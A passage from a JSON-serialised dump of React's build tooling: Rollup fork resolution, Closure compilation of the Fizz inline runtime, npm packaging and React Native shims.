'./packages/react-reconciler/src/ReactFiberConfig.js': (\n    bundleType,\n    entry,\n    dependencies,\n    moduleType\n  ) => {\n    if (dependencies.indexOf('react-reconciler') !== -1) {\n      return null;\n    }\n    if (moduleType !== RENDERER && moduleType !== RECONCILER) {\n      return null;\n    }\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (let rendererInfo of inlinedHostConfigs) {\n      if (rendererInfo.entryPoints.indexOf(entry) !== -1) {\n        const foundFork = findNearestExistingForkFile(\n          './packages/react-reconciler/src/forks/ReactFiberConfig.',\n          rendererInfo.shortName,\n          '.js'\n        );\n        if (foundFork) {\n          return foundFork;\n        }\n        // fall through to error\n        break;\n      }\n    }\n    throw new Error(\n      'Expected ReactFiberConfig to always be replaced with a shim, but ' +\n        `found no mention of \"${entry}\" entry point in ./scripts/shared/inlinedHostConfigs.js. ` +\n        'Did you mean to add it there to associate it with a specific renderer?'\n    );\n  },\n\n  './packages/react-server/src/ReactServerStreamConfig.js': (\n    bundleType,\n    entry,\n    dependencies,\n    moduleType\n  ) => {\n    if (dependencies.indexOf('react-server') !== -1) {\n      return null;\n    }\n    if (moduleType !== RENDERER && moduleType !== RECONCILER) {\n      return null;\n    }\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (let rendererInfo of inlinedHostConfigs) {\n      if (rendererInfo.entryPoints.indexOf(entry) !== -1) {\n        if (!rendererInfo.isServerSupported) {\n          return null;\n        }\n        const foundFork = findNearestExistingForkFile(\n          './packages/react-server/src/forks/ReactServerStreamConfig.',\n          rendererInfo.shortName,\n          '.js'\n        );\n        if (foundFork) {\n          return foundFork;\n        }\n        // fall through to error\n        break;\n      }\n    }\n    throw new Error(\n      'Expected ReactServerStreamConfig to always be replaced with a shim, but ' +\n        `found no mention of \"${entry}\" entry point in ./scripts/shared/inlinedHostConfigs.js. ` +\n        'Did you mean to add it there to associate it with a specific renderer?'\n    );\n  },\n\n  './packages/react-server/src/ReactFizzConfig.js': (\n    bundleType,\n    entry,\n    dependencies,\n    moduleType\n  ) => {\n    if (dependencies.indexOf('react-server') !== -1) {\n      return null;\n    }\n    if (moduleType !== RENDERER && moduleType !== RECONCILER) {\n      return null;\n    }\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (let rendererInfo of inlinedHostConfigs) {\n      if (rendererInfo.entryPoints.indexOf(entry) !== -1) {\n        if (!rendererInfo.isServerSupported) {\n          return null;\n        }\n        const foundFork = findNearestExistingForkFile(\n          './packages/react-server/src/forks/ReactFizzConfig.',\n          rendererInfo.shortName,\n          '.js'\n        );\n        if (foundFork) {\n          return foundFork;\n        }\n        // fall through to error\n        break;\n      }\n    }\n    throw new Error(\n      'Expected ReactFizzConfig to always be replaced with a shim, but ' +\n        `found no mention of \"${entry}\" entry point in ./scripts/shared/inlinedHostConfigs.js. ` +\n        'Did you mean to add it there to associate it with a specific renderer?'\n    );\n  },\n\n  './packages/react-server/src/ReactFlightServerConfig.js': (\n    bundleType,\n    entry,\n    dependencies,\n    moduleType\n  ) => {\n    if (dependencies.indexOf('react-server') !== -1) {\n      return null;\n    }\n    if (moduleType !== RENDERER && moduleType !== RECONCILER) {\n      return null;\n    }\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (let rendererInfo of inlinedHostConfigs) {\n      if (rendererInfo.entryPoints.indexOf(entry) !== -1) {\n        if (!rendererInfo.isServerSupported) {\n          return null;\n        }\n        if (rendererInfo.isFlightSupported === false) {\n          return new Error(\n            `Expected not to use ReactFlightServerConfig with \"${entry}\" entry point ` +\n              'in ./scripts/shared/inlinedHostConfigs.js. Update the renderer config to ' +\n              'activate flight suppport and add a matching fork implementation for ReactFlightServerConfig.'\n          );\n        }\n        const foundFork = findNearestExistingForkFile(\n          './packages/react-server/src/forks/ReactFlightServerConfig.',\n          rendererInfo.shortName,\n          '.js'\n        );\n        if (foundFork) {\n          return foundFork;\n        }\n        // fall through to error\n        break;\n      }\n    }\n    throw new Error(\n      'Expected ReactFlightServerConfig to always be replaced with a shim, but ' +\n        `found no mention of \"${entry}\" entry point in ./scripts/shared/inlinedHostConfigs.js. ` +\n        'Did you mean to add it there to associate it with a specific renderer?'\n    );\n  },\n\n  './packages/react-client/src/ReactFlightClientConfig.js': (\n    bundleType,\n    entry,\n    dependencies,\n    moduleType\n  ) => {\n    if (dependencies.indexOf('react-client') !== -1) {\n      return null;\n    }\n    if (moduleType !== RENDERER && moduleType !== RECONCILER) {\n      return null;\n    }\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (let rendererInfo of inlinedHostConfigs) {\n      if (rendererInfo.entryPoints.indexOf(entry) !== -1) {\n        if (!rendererInfo.isServerSupported) {\n          return null;\n        }\n        if (rendererInfo.isFlightSupported === false) {\n          return new Error(\n            `Expected not to use ReactFlightClientConfig with \"${entry}\" entry point ` +\n              'in ./scripts/shared/inlinedHostConfigs.js. Update the renderer config to ' +\n              'activate flight suppport and add a matching fork implementation for ReactFlightClientConfig.'\n          );\n        }\n        const foundFork = findNearestExistingForkFile(\n          './packages/react-client/src/forks/ReactFlightClientConfig.',\n          rendererInfo.shortName,\n          '.js'\n        );\n        if (foundFork) {\n          return foundFork;\n        }\n        // fall through to error\n        break;\n      }\n    }\n    throw new Error(\n      'Expected ReactFlightClientConfig to always be replaced with a shim, but ' +\n        `found no mention of \"${entry}\" entry point in ./scripts/shared/inlinedHostConfigs.js. ` +\n        'Did you mean to add it there to associate it with a specific renderer?'\n    );\n  },\n\n  // We wrap top-level listeners into guards on www.\n  './packages/react-dom-bindings/src/events/EventListener.js': (\n    bundleType,\n    entry\n  ) => {\n    switch (bundleType) {\n      case FB_WWW_DEV:\n      case FB_WWW_PROD:\n      case FB_WWW_PROFILING:\n        if (__EXPERIMENTAL__) {\n          // In modern builds we don't use the indirection. We just use raw DOM.\n          return null;\n        } else {\n          // Use the www fork which is integrated with TimeSlice profiling.\n          return './packages/react-dom-bindings/src/events/forks/EventListener-www.js';\n        }\n      default:\n        return null;\n    }\n  },\n\n  './packages/use-sync-external-store/src/useSyncExternalStore.js': (\n    bundleType,\n    entry\n  ) => {\n    if (entry.startsWith('use-sync-external-store/shim')) {\n      return './packages/use-sync-external-store/src/forks/useSyncExternalStore.forward-to-shim.js';\n    }\n    if (entry !== 'use-sync-external-store') {\n      // Internal modules that aren't shims should use the native API from the\n      // react package.\n      return './packages/use-sync-external-store/src/forks/useSyncExternalStore.forward-to-built-in.js';\n    }\n    return null;\n  },\n\n  './packages/use-sync-external-store/src/isServerEnvironment.js': (\n    bundleType,\n    entry\n  ) => {\n    if (entry.endsWith('.native')) {\n      return './packages/use-sync-external-store/src/forks/isServerEnvironment.native.js';\n    }\n  },\n});\n\nmodule.exports = forks;\n"
  },
  {
    "path": "scripts/rollup/generate-inline-fizz-runtime.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst ClosureCompiler = require('google-closure-compiler').compiler;\nconst prettier = require('prettier');\n\nconst instructionDir =\n  './packages/react-dom-bindings/src/server/fizz-instruction-set';\n\n// This is the name of the generated file that exports the inline instruction\n// set as strings.\nconst inlineCodeStringsFilename =\n  instructionDir + '/ReactDOMFizzInstructionSetInlineCodeStrings.js';\n\nconst config = [\n  {\n    entry: 'ReactDOMFizzInlineShellTime.js',\n    exportName: 'markShellTime',\n  },\n  {\n    entry: 'ReactDOMFizzInlineClientRenderBoundary.js',\n    exportName: 'clientRenderBoundary',\n  },\n  {\n    entry: 'ReactDOMFizzInlineCompleteBoundary.js',\n    exportName: 'completeBoundary',\n  },\n  {\n    entry: 'ReactDOMFizzInlineCompleteBoundaryUpgradeToViewTransitions.js',\n    exportName: 'completeBoundaryUpgradeToViewTransitions',\n  },\n  {\n    entry: 'ReactDOMFizzInlineCompleteBoundaryWithStyles.js',\n    exportName: 'completeBoundaryWithStyles',\n  },\n  {\n    entry: 'ReactDOMFizzInlineCompleteSegment.js',\n    exportName: 'completeSegment',\n  },\n  {\n    entry: 'ReactDOMFizzInlineFormReplaying.js',\n    exportName: 'formReplaying',\n  },\n];\n\nconst prettierConfig = require('../../.prettierrc.js');\n\nasync function main() {\n  const exportStatements = await Promise.all(\n    config.map(async ({entry, exportName}) => {\n      const fullEntryPath = instructionDir + '/' + entry;\n      const compiler = new ClosureCompiler({\n        entry_point: fullEntryPath,\n        js: [\n          require.resolve('./externs/closure-externs.js'),\n          fullEntryPath,\n          instructionDir + '/ReactDOMFizzInstructionSetShared.js',\n        ],\n        compilation_level: 'ADVANCED',\n        language_in: 'ECMASCRIPT_2020',\n        language_out: 'ECMASCRIPT5_STRICT',\n        module_resolution: 'NODE',\n        // This is necessary to prevent Closure from inlining a Promise polyfill\n        rewrite_polyfills: false,\n      });\n\n      const code = await new Promise((resolve, reject) => {\n        compiler.run((exitCode, stdOut, stdErr) => {\n          if (exitCode !== 0) {\n            reject(new Error(stdErr));\n          } else {\n            resolve(stdOut);\n          }\n        });\n      });\n\n      return `export const ${exportName} = ${JSON.stringify(code.trim().replace('\\n', ''))};`;\n    })\n  );\n\n  let outputCode = [\n    '// This is a generated file. The source files are in react-dom-bindings/src/server/fizz-instruction-set.',\n    '// The build script is at scripts/rollup/generate-inline-fizz-runtime.js.',\n    '// Run `yarn generate-inline-fizz-runtime` to generate.',\n    ...exportStatements,\n  ].join('\\n');\n\n  // This replaces \"window.$globalVar\" with \"$globalVar\". There's probably a\n  // better way to do this with Closure, with externs or something, but I\n  // couldn't figure it out. Good enough for now. This only affects the inline\n  // Fizz runtime, and should break immediately if there were a mistake, so I'm\n  // not too worried about it.\n  outputCode = outputCode.replace(\n    /window\\.(\\$[A-z0-9_]*|matchMedia)/g,\n    (_, variableName) => variableName\n  );\n\n  const prettyOutputCode = await prettier.format(outputCode, prettierConfig);\n\n  fs.writeFileSync(inlineCodeStringsFilename, prettyOutputCode, 'utf8');\n}\n\nmain().catch(err => {\n  console.error(err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/rollup/modules.js",
    "content": "'use strict';\n\nconst forks = require('./forks');\n\n// For any external that is used in a DEV-only condition, explicitly\n// specify whether it has side effects during import or not. This lets\n// us know whether we can safely omit them when they are unused.\nconst HAS_NO_SIDE_EFFECTS_ON_IMPORT = false;\n// const HAS_SIDE_EFFECTS_ON_IMPORT = true;\nconst importSideEffects = Object.freeze({\n  fs: HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'fs/promises': HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  path: HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  stream: HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'prop-types/checkPropTypes': HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface':\n    HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  scheduler: HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  react: HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'react-dom/server': HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'react/jsx-dev-runtime': HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'react-dom': HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  url: HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  ReactNativeInternalFeatureFlags: HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'webpack-sources/lib/helpers/createMappingsSerializer.js':\n    HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n  'webpack-sources/lib/helpers/readMappings.js': HAS_NO_SIDE_EFFECTS_ON_IMPORT,\n});\n\n// Bundles exporting globals that other modules rely on.\nconst knownGlobals = Object.freeze({\n  react: 'React',\n  'react-dom': 'ReactDOM',\n  'react-dom/server': 'ReactDOMServer',\n  scheduler: 'Scheduler',\n  'scheduler/unstable_mock': 'SchedulerMock',\n  ReactNativeInternalFeatureFlags: 'ReactNativeInternalFeatureFlags',\n});\n\n// Given ['react'] in bundle externals, returns { 'react': 'React' }.\nfunction getPeerGlobals(externals, bundleType) {\n  const peerGlobals = {};\n  externals.forEach(name => {\n    peerGlobals[name] = knownGlobals[name];\n  });\n  return peerGlobals;\n}\n\n// Determines node_modules packages that are safe to assume will exist.\nfunction getDependencies(bundleType, entry) {\n  // Replaces any part of the entry that follow the package name (like\n  // \"/server\" in \"react-dom/server\") by the path to the package settings\n  const packageJson = require(entry.replace(/(\\/.*)?$/, '/package.json'));\n  // Both deps and peerDeps are assumed as accessible.\n  return Array.from(\n    new Set([\n      ...Object.keys(packageJson.dependencies || {}),\n      ...Object.keys(packageJson.peerDependencies || {}),\n    ])\n  );\n}\n\n// Hijacks some modules for optimization and integration reasons.\nfunction getForks(bundleType, entry, moduleType, bundle) {\n  const forksForBundle = {};\n  Object.keys(forks).forEach(srcModule => {\n    const dependencies = getDependencies(bundleType, entry);\n    const targetModule = forks[srcModule](\n      bundleType,\n      entry,\n      dependencies,\n      moduleType,\n      bundle\n    );\n    if (targetModule === null) {\n      return;\n    }\n    forksForBundle[srcModule] = targetModule;\n  });\n  return forksForBundle;\n}\n\nfunction getImportSideEffects() {\n  return importSideEffects;\n}\n\nmodule.exports = {\n  getImportSideEffects,\n  getPeerGlobals,\n  getDependencies,\n  getForks,\n};\n"
  },
  {
    "path": "scripts/rollup/packaging.js",
    "content": "'use strict';\n\nconst {\n  existsSync,\n  readdirSync,\n  unlinkSync,\n  readFileSync,\n  writeFileSync,\n} = require('fs');\nconst Bundles = require('./bundles');\nconst {\n  asyncCopyTo,\n  asyncExecuteCommand,\n  asyncExtractTar,\n  asyncRimRaf,\n} = require('./utils');\n\nconst {\n  NODE_ES2015,\n  ESM_DEV,\n  ESM_PROD,\n  NODE_DEV,\n  NODE_PROD,\n  NODE_PROFILING,\n  BUN_DEV,\n  BUN_PROD,\n  FB_WWW_DEV,\n  FB_WWW_PROD,\n  FB_WWW_PROFILING,\n  RN_OSS_DEV,\n  RN_OSS_PROD,\n  RN_OSS_PROFILING,\n  RN_FB_DEV,\n  RN_FB_PROD,\n  RN_FB_PROFILING,\n  BROWSER_SCRIPT,\n  CJS_DTS,\n  ESM_DTS,\n} = Bundles.bundleTypes;\n\nfunction getPackageName(name) {\n  if (name.indexOf('/') !== -1) {\n    return name.split('/')[0];\n  }\n  return name;\n}\n\nfunction getBundleOutputPath(bundle, bundleType, filename, packageName) {\n  switch (bundleType) {\n    case NODE_ES2015:\n      return `build/node_modules/${packageName}/cjs/${filename}`;\n    case ESM_DEV:\n    case ESM_PROD:\n    case ESM_DTS:\n      return `build/node_modules/${packageName}/esm/${filename}`;\n    case BUN_DEV:\n    case BUN_PROD:\n      return `build/node_modules/${packageName}/cjs/${filename}`;\n    case NODE_DEV:\n    case NODE_PROD:\n    case NODE_PROFILING:\n    case CJS_DTS:\n      return `build/node_modules/${packageName}/cjs/${filename}`;\n    case FB_WWW_DEV:\n    case FB_WWW_PROD:\n    case FB_WWW_PROFILING:\n      return `build/facebook-www/${filename}`;\n    case RN_OSS_DEV:\n    case RN_OSS_PROD:\n    case RN_OSS_PROFILING:\n      switch (packageName) {\n        case 'react-native-renderer':\n          return `build/react-native/implementations/${filename}`;\n        default:\n          throw new Error('Unknown RN package.');\n      }\n    case RN_FB_DEV:\n    case RN_FB_PROD:\n    case RN_FB_PROFILING:\n      switch (packageName) {\n        case 'scheduler':\n        case 'react':\n        case 'react-dom':\n        case 'react-is':\n        case 'react-test-renderer':\n          return `build/facebook-react-native/${packageName}/cjs/${filename}`;\n        case 'react-native-renderer':\n          return `build/react-native/implementations/${filename.replace(\n            /\\.js$/,\n            '.fb.js'\n          )}`;\n        default:\n          throw new Error('Unknown RN package.');\n      }\n    case BROWSER_SCRIPT: {\n      // Bundles that are served as browser scripts need to be able to be sent\n      // straight to the browser with any additional bundling. We shouldn't use\n      // a module to re-export. Depending on how they are served, they also may\n      // not go through package.json module resolution, so we shouldn't rely on\n      // that either. We should consider the output path as part of the public\n      // contract, and explicitly specify its location within the package's\n      // directory structure.\n      const outputPath = bundle.outputPath;\n      if (!outputPath) {\n        throw new Error(\n          'Bundles with type BROWSER_SCRIPT must specific an explicit ' +\n            'output path.'\n        );\n      }\n      return `build/node_modules/${packageName}/${outputPath}`;\n    }\n    default:\n      throw new Error('Unknown bundle type.');\n  }\n}\n\nasync function copyWWWShims() {\n  await asyncCopyTo(\n    `${__dirname}/shims/facebook-www`,\n    'build/facebook-www/shims'\n  );\n}\n\nasync function copyRNShims() {\n  await asyncCopyTo(\n    `${__dirname}/shims/react-native`,\n    'build/react-native/shims'\n  );\n  await asyncCopyTo(\n    require.resolve('react-native-renderer/src/ReactNativeTypes.js'),\n    'build/react-native/shims/ReactNativeTypes.js'\n  );\n}\n\nasync function copyAllShims() {\n  await Promise.all([copyWWWShims(), copyRNShims()]);\n}\n\nfunction getTarOptions(tgzName, packageName) {\n  // Files inside the `npm pack`ed archive start\n  // with \"package/\" in their paths. We'll undo\n  // this during extraction.\n  const CONTENTS_FOLDER = 'package';\n  return {\n    src: tgzName,\n    dest: `build/node_modules/${packageName}`,\n    tar: {\n      entries: [CONTENTS_FOLDER],\n      map(header) {\n        if (header.name.indexOf(CONTENTS_FOLDER + '/') === 0) {\n          header.name = header.name.slice(CONTENTS_FOLDER.length + 1);\n        }\n      },\n    },\n  };\n}\n\nlet entryPointsToHasBundle = new Map();\n// eslint-disable-next-line no-for-of-loops/no-for-of-loops\nfor (const bundle of Bundles.bundles) {\n  let hasBundle = entryPointsToHasBundle.get(bundle.entry);\n  if (!hasBundle) {\n    const hasNonFBBundleTypes = bundle.bundleTypes.some(\n      type =>\n        type !== FB_WWW_DEV && type !== FB_WWW_PROD && type !== FB_WWW_PROFILING\n    );\n    entryPointsToHasBundle.set(bundle.entry, hasNonFBBundleTypes);\n  }\n}\n\nfunction filterOutEntrypoints(name) {\n  // Remove entry point files that are not built in this configuration.\n  let jsonPath = `build/node_modules/${name}/package.json`;\n  let packageJSON = JSON.parse(readFileSync(jsonPath));\n  let files = packageJSON.files;\n  let exportsJSON = packageJSON.exports;\n  let browserJSON = packageJSON.browser;\n  if (!Array.isArray(files)) {\n    throw new Error('expected all package.json files to contain a files field');\n  }\n  let changed = false;\n  for (let i = 0; i < files.length; i++) {\n    let filename = files[i];\n    let entry =\n      filename === 'index.js'\n        ? name\n        : name + '/' + filename.replace(/\\.js$/, '');\n    let hasBundle = entryPointsToHasBundle.get(entry);\n    if (hasBundle === undefined) {\n      // This entry doesn't exist in the bundles. Check if something similar exists.\n      hasBundle =\n        entryPointsToHasBundle.get(entry + '.node') ||\n        entryPointsToHasBundle.get(entry + '.browser');\n\n      // The .react-server and .rsc suffixes may not have a bundle representation but\n      // should infer their bundle status from the non-suffixed entry point.\n      if (entry.endsWith('.react-server')) {\n        hasBundle = entryPointsToHasBundle.get(\n          entry.slice(0, '.react-server'.length * -1)\n        );\n      } else if (entry.endsWith('.rsc')) {\n        hasBundle = entryPointsToHasBundle.get(\n          entry.slice(0, '.rsc'.length * -1)\n        );\n      }\n    }\n    if (hasBundle === undefined) {\n      // This doesn't exist in the bundles. It's an extra file.\n    } else if (hasBundle === true) {\n      // This is built in this release channel.\n    } else {\n      // This doesn't have any bundleTypes in this release channel.\n      // Let's remove it.\n      files.splice(i, 1);\n      i--;\n      try {\n        unlinkSync(`build/node_modules/${name}/${filename}`);\n      } catch (err) {\n        // If the file doesn't exist we can just move on. Otherwise throw the halt the build\n        if (err.code !== 'ENOENT') {\n          throw err;\n        }\n      }\n      changed = true;\n      // Remove it from the exports field too if it exists.\n      if (exportsJSON) {\n        if (filename === 'index.js') {\n          delete exportsJSON['.'];\n        } else {\n          delete exportsJSON['./' + filename.replace(/\\.js$/, '')];\n        }\n      }\n      if (browserJSON) {\n        delete browserJSON['./' + filename];\n      }\n    }\n\n    // We only export the source directory so Jest and Rollup can access them\n    // during local development and at build time. The files don't exist in the\n    // public builds, so we don't need the export entry, either.\n    const sourceWildcardExport = './src/*';\n    if (exportsJSON && exportsJSON[sourceWildcardExport]) {\n      delete exportsJSON[sourceWildcardExport];\n      changed = true;\n    }\n  }\n  if (changed) {\n    let newJSON = JSON.stringify(packageJSON, null, '  ');\n    writeFileSync(jsonPath, newJSON);\n  }\n}\n\nasync function prepareNpmPackage(name) {\n  await Promise.all([\n    asyncCopyTo('LICENSE', `build/node_modules/${name}/LICENSE`),\n    asyncCopyTo(\n      `packages/${name}/package.json`,\n      `build/node_modules/${name}/package.json`\n    ),\n    asyncCopyTo(\n      `packages/${name}/README.md`,\n      `build/node_modules/${name}/README.md`\n    ),\n    asyncCopyTo(`packages/${name}/npm`, `build/node_modules/${name}`),\n  ]);\n  filterOutEntrypoints(name);\n  const tgzName = (\n    await asyncExecuteCommand(`npm pack build/node_modules/${name}`)\n  ).trim();\n  await asyncRimRaf(`build/node_modules/${name}`);\n  await asyncExtractTar(getTarOptions(tgzName, name));\n  unlinkSync(tgzName);\n}\n\nasync function prepareNpmPackages() {\n  if (!existsSync('build/node_modules')) {\n    // We didn't build any npm packages.\n    return;\n  }\n  const builtPackageFolders = readdirSync('build/node_modules').filter(\n    dir => dir.charAt(0) !== '.'\n  );\n  await Promise.all(builtPackageFolders.map(prepareNpmPackage));\n}\n\nmodule.exports = {\n  copyAllShims,\n  getPackageName,\n  getBundleOutputPath,\n  prepareNpmPackages,\n};\n"
  },
  {
    "path": "scripts/rollup/plugins/closure-plugin.js",
    "content": "'use strict';\n\nconst ClosureCompiler = require('google-closure-compiler').compiler;\nconst {promisify} = require('util');\nconst fs = require('fs');\nconst tmp = require('tmp');\nconst writeFileAsync = promisify(fs.writeFile);\n\nfunction compile(flags) {\n  return new Promise((resolve, reject) => {\n    const closureCompiler = new ClosureCompiler(flags);\n    closureCompiler.run(function (exitCode, stdOut, stdErr) {\n      if (!stdErr) {\n        resolve(stdOut);\n      } else {\n        reject(new Error(stdErr));\n      }\n    });\n  });\n}\n\nmodule.exports = function closure(flags = {}) {\n  return {\n    name: 'scripts/rollup/plugins/closure-plugin',\n    async renderChunk(code, chunk, options) {\n      const inputFile = tmp.fileSync();\n\n      // Tell Closure what JS source file to read, and optionally what sourcemap file to write\n      const finalFlags = {\n        ...flags,\n        js: inputFile.name,\n      };\n\n      await writeFileAsync(inputFile.name, code, 'utf8');\n      const compiledCode = await compile(finalFlags);\n\n      inputFile.removeCallback();\n      return {code: compiledCode};\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/rollup/plugins/dynamic-imports.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nmodule.exports = function dynamicImports() {\n  return {\n    name: 'scripts/rollup/plugins/dynamic-imports',\n    renderDynamicImport({targetModuleId}) {\n      if (targetModuleId === null) {\n        return {left: 'import(', right: ')'};\n      }\n      return null;\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/rollup/plugins/external-runtime-plugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nmodule.exports = function externalRuntime() {\n  // When generating the source code for the Fizz runtime chunks we use global identifiers to refer\n  // to different parts of the implementation. When generating the external runtime we need to\n  // replace those with local identifiers instead.\n  return {\n    name: 'scripts/rollup/plugins/dynamic-imports',\n    renderChunk(source) {\n      // This replaces \"window['$globalVar']\" with \"$globalVar\".\n      const variables = new Set();\n      source = source.replace(\n        /window\\[['\"](\\$[A-z0-9_]*)['\"]\\]/g,\n        (_, variableName) => {\n          variables.add(variableName);\n          return variableName;\n        }\n      );\n      const startOfFn = 'use strict';\n      let index = source.indexOf(startOfFn);\n      if (index === -1) {\n        return source;\n      }\n      index += startOfFn.length + 2;\n\n      // Insert the declarations in the beginning of the function closure\n      // to scope them to inside the runtime.\n      let declarations = 'let ';\n      variables.forEach(variable => {\n        if (declarations !== 'let ') {\n          declarations += ', ';\n        }\n        declarations += variable;\n      });\n      declarations += ';';\n      source = source.slice(0, index) + declarations + source.slice(index);\n      return source;\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/rollup/plugins/sizes-plugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst gzip = require('gzip-size');\n\nmodule.exports = function sizes(options) {\n  return {\n    name: 'scripts/rollup/plugins/sizes-plugin',\n    generateBundle(outputOptions, bundle, isWrite) {\n      Object.keys(bundle).forEach(id => {\n        const chunk = bundle[id];\n        if (chunk) {\n          const size = Buffer.byteLength(chunk.code);\n          const gzipSize = gzip.sync(chunk.code);\n          options.getSize(size, gzipSize);\n        }\n      });\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/rollup/plugins/use-forks-plugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst path = require('path');\nconst semver = require('semver');\n\nfunction resolveRelatively(importee, importer) {\n  if (semver.gte(process.version, '8.9.0')) {\n    return require.resolve(importee, {\n      paths: [path.dirname(importer)],\n    });\n  } else {\n    // `paths` argument is not available in older Node.\n    // This works though.\n    // https://github.com/nodejs/node/issues/5963\n    const Module = require('module');\n    return Module._findPath(importee, [\n      path.dirname(importer),\n      ...module.paths,\n    ]);\n  }\n}\n\nlet resolveCache = new Map();\nfunction useForks(forks) {\n  let resolvedForks = new Map();\n  Object.keys(forks).forEach(srcModule => {\n    // Fork paths are relative to the project root. They must include the full\n    // path, including the extension. We intentionally don't use Node's module\n    // resolution algorithm because 1) require.resolve doesn't work with ESM\n    // modules, and 2) the behavior is easier to predict.\n    const targetModule = forks[srcModule];\n    resolvedForks.set(\n      path.resolve(process.cwd(), srcModule),\n      // targetModule could be a string (a file path),\n      // or an error (which we'd throw if it gets used).\n      // Don't try to \"resolve\" errors, but cache\n      // resolved file paths.\n      typeof targetModule === 'string'\n        ? path.resolve(process.cwd(), targetModule)\n        : targetModule\n    );\n  });\n  return {\n    name: 'scripts/rollup/plugins/use-forks-plugin',\n    resolveId(importee, importer) {\n      if (!importer || !importee) {\n        return null;\n      }\n      if (importee.startsWith('\\u0000')) {\n        // Internal Rollup reference, ignore.\n        // Passing that to Node file functions can fatal.\n        return null;\n      }\n      let resolvedImportee = null;\n      let cacheKey = `${importer}:::${importee}`;\n      if (resolveCache.has(cacheKey)) {\n        // Avoid hitting file system if possible.\n        resolvedImportee = resolveCache.get(cacheKey);\n      } else {\n        try {\n          resolvedImportee = resolveRelatively(importee, importer);\n        } catch (err) {\n          // Not our fault, let Rollup fail later.\n        }\n        if (resolvedImportee) {\n          resolveCache.set(cacheKey, resolvedImportee);\n        }\n      }\n      if (resolvedImportee && resolvedForks.has(resolvedImportee)) {\n        // We found a fork!\n        const fork = resolvedForks.get(resolvedImportee);\n        if (fork instanceof Error) {\n          throw fork;\n        }\n        return fork;\n      }\n      return null;\n    },\n  };\n}\n\nmodule.exports = useForks;\n"
  },
  {
    "path": "scripts/rollup/shims/facebook-www/ReactBrowserEventEmitter_DO_NOT_USE.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst {\n  __DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n} = require('ReactDOM');\n\nmodule.exports =\n  __DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.ReactBrowserEventEmitter;\n"
  },
  {
    "path": "scripts/rollup/shims/react-native/ReactFabric.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @flow\n */\n\n'use strict';\n\nimport {BatchedBridge} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\nimport type {ReactFabricType} from './ReactNativeTypes';\n\nlet ReactFabric: ReactFabricType;\n\nif (__DEV__) {\n  ReactFabric = require('../implementations/ReactFabric-dev');\n} else {\n  ReactFabric = require('../implementations/ReactFabric-prod');\n}\n\nglobal.RN$stopSurface = ReactFabric.stopSurface;\n\nif (global.RN$Bridgeless !== true) {\n  BatchedBridge.registerCallableModule('ReactFabric', ReactFabric);\n}\n\nexport default ReactFabric;\n"
  },
  {
    "path": "scripts/rollup/shims/react-native/ReactFeatureFlags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @flow strict-local\n */\n\n'use strict';\n\nconst ReactFeatureFlags = {\n  debugRenderPhaseSideEffects: false,\n};\n\nexport default ReactFeatureFlags;\n"
  },
  {
    "path": "scripts/rollup/shims/react-native/ReactNative.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @flow\n */\n'use strict';\n\nimport type {ReactNativeType} from './ReactNativeTypes';\n\nlet ReactNative: ReactNativeType;\n\n// TODO: Delete the legacy renderer. Only ReactFabric is used now.\nif (__DEV__) {\n  ReactNative = require('../implementations/ReactNativeRenderer-dev');\n} else {\n  ReactNative = require('../implementations/ReactNativeRenderer-prod');\n}\n\nexport default ReactNative;\n"
  },
  {
